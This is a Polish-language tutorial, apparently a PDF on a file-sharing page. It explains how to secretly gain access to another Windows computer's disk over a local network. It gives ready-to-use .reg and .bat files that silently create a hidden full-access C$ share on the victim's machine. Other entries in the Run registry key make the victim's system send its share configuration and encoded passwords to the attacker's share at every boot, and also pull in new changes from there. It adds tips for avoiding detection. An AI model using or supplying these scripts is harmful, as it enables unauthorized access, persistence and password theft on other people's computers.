Jak dostać się do dysku innego komputera w sieci wykorzystuji.pdf

Jak dostać się do dysku innego komputera w sieci

wykorzystując dziury w systemie ?

Metoda ta jest już trochę przestarzała i łatwa do wykrycia (aczkolwiek ciągle skuteczna),

dlatego zdecydowałem się ją opisać.

Chyba każdy z nas miał już kiedyś do czynienia z rejestrem systemowym. Poprzez

wpisywanie odpowiednich kluczy i wartości można całkowicie zrekonfigurować Windowsa i

znacznie ograniczyć dostęp do zasobów komputera. W kluczu:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\

CurrentVersion\Network\LanMan\

[nazwa udostępnionego foldera lub drukarki]

zapisana jest konfiguracja wszystkich udostępnionych zasobów na naszym komputerze

(folderów i drukarek). W kluczu tym znajdują się następujące zmienne :

Flags

o 101, 191 - folder udostępniony tylko do odczytu

o 102, 192 - folder udostępniony do odczytu i zapisu

o 103, 193 - folder udostępniony w zależności od podanego hasła

Parm1enc, Parm2enc - zakodowane hasła (maks. 8 liter)

Path - ścieżka dostępu do folderu

Remark - opis

Type -

o 0 dla folderów

o 1 dla drukarek.

Tak wygląda zapis przykładowej konfiguracji udziału o nazwie 'instal'.

Manipulując tymi wartościami łatwo zmieniać konfiguracje udostępnień na swoim komputerze,

ale jak wykorzystując rejestr systemowy aby zmienić i/lub odczytać konfiguracje innego

komputera w sieci. Bardzo prymitywnym sposobem jest podsunięcie komuś w sieci zwykłego

pliku rejestru. Np. takiego :

------in.reg------

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\

CurrentVersion\Network\LanMan\C$]

"Flags"=dword:00000192

"Type"=dword:00000000

"Path"="C:\\"

"Parm2enc"=hex:

"Parm1enc"=hex:

"Remark"=""

----- - - -----

Wzór pliku in.reg można bardzo łatwo uzyskać eksportując z rejestru zapis dowolnego

udostępnienia. Później wystarczy odpowiednio go zmodyfikować (zmienić nazwę udziału,

ścieżkę dostępu itd.)

Kiedy użytkownik na innym komputerze uruchomi ten plik (domyślnie - scalaj ) wówczas

informacje zostaną wprowadzone do rejestru systemowego. Po ponownym starcie systemu

na komputerze ofiary będziemy mieli swobodny dostęp do jego dysku C (znaczek '$' przy

nazwie udostępnienia oznacza, że udział nie będzie widoczny w Otoczeniu Sieciowym). Jak

już wspomniałem metoda ta jest bardzo prymitywna choćby ze względu na komunikat, który

pojawi się na ekranie komputera informujący o wprowadzeniu zmiennych do rejestru. Dlatego

powinniśmy zadbać o to aby program regedit.exe był uruchamiany z parametrem /s - to

zapewni nam dyskrecje. Można to zrobić wykorzystując plik bat :

-----start.bat-----

regedit.exe /s \\MAX\TAJNY$\in.reg

del start.bat

----- - - -----

MAX - nazwa naszego komputera

TAJNY$ - przykładowe udostępnienie, które musimy utworzyć i do którego należy przegrać

plik in.reg

Wówczas użytkownikowi podsuwamy tylko plik start.bat , po uruchomieniu którego

zawartość in.reg zostanie wprowadzona do rejestru. Podobnie bardzo łatwo można

wyciągnąć zapis konfiguracji udostępnionych folderów z innego komputera w sieci (,takiego

który swe zasoby ma zabezpieczone hasłem, bo tylko wtedy ma to sens) :

-----start.bat-----

regedit.exe /s /e \\MAX\TAJNY$\out.reg

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan

del start.bat

----- - - -----

TAJNY$ - w tym przypadku musi być ustawiony jako 'pełen dostęp'

Powyższe dwa sposoby dają nam możliwości jednorazowej zmiany lub jednorazowego

pobrania informacji z rejestru. Ale co zrobić, żeby za każdym razem nie zmuszać użytkownika

do uruchamiania bata ? W tym celu należy wykorzystać inny klucz w rejestrze :

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Tam właśnie zapisane są ścieżki wszystkich programów, które uruchamiane są po starcie

systemu. Do tego klucza musimy wprowadzić odpowiednie zmienne, które zapewnią nam

stały dostęp do rejestru systemowego innego komputera. W tym celu możemy wykorzystać

opisaną wyżej metodę (pliku bat). Plik in.reg powinien wyglądać następująco :

------in.reg------

REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]

"WinStart"="regedit.exe /s /e \\\\MAX\\TAJNY$\\out.reg

HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan"

"WinStart2"="if exist \\\\MAX\\TAJNY$\\in.reg regedit.exe /s

\\\\MAX\\TAJNY$\\out.reg"

----- - - -----

Po wprowadzeniu zawartości pliku in.reg do rejestru systemowego ofiary pierwsza

zmienna :

"WinStart"="regedit.exe /s /e \\\\MAX\\TAJNY$\\out.reg

HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan"

sprawi, że zawsze przy starcie systemu na komputerze ofiary Windows zapisze całą

konfiguracje udostępnionych folderów i drukarek w pliku out.reg na naszym dysku. Jeżeli w

tym czasie udział \\MAX\TAJNY$ nie będzie dostępny (np. jeżeli nasz komputer będzie

wyłączony) wówczas start systemu opóźni się o około 1 sekundę. Zapis drugiej zmiennej jest

trochę bardziej skomplikowany :

"WinStart2"="if exist \\\\MAX\\TAJNY$\\in.reg regedit.exe /s

\\\\MAX\\TAJNY$\\in.reg"

Podobnie jak w przypadku pierwszej zmiennej zawsze, gdy system będzie ładowany zostanie

uruchomiony program regedit.exe i wprowadzi do rejestru systemowego ofiary zmienne

znajdujące się w pliku in.reg na naszym dysku. Jednakże tutaj jest to trochę bardziej

skomplikowane. Gdy program nie znalazłby pliku in.reg (np. gdy będziemy mieli wyłączony

komputer) na ekranie komputera ofiary pojawiłby się komunikat o błędzie. Aby tego uniknąć

przed uruchomieniem regedit.exe konieczne jest sprawdzenie czy istnieje taki plik.

Dlatego wartość zmiennej ma postać :

if exist nazwapliku polecenie

Teraz, gdy tylko będziemy chcieli wprowadzić jakieś zmiany w konfiguracji udostępnionych

folderów w komputerze ofiary wystarczy przygotować odpowiedni plik in.reg , przegrać go

do folderu, który udostępniamy - TAJNY$ i poczekać, aż użytkownik w sieci włączy komputer,

bądź zrestartuje system. Wówczas także będziemy mogli odczytać zapis konfiguracji

udostępnionych folderów, a co za tym idzie - hasła, które po starcie systemu znajdą się w

pliku out.reg , na naszym dysku. Trzeba jednak pamiętać o tym, że istnieje program

"Monitor sieci", który pokazuje wszystkie komputery w sieci podłączone do zasobów

określonego kompa.

Plik z chomika:

Inne pliki z tego folderu:

Inne foldery tego chomika: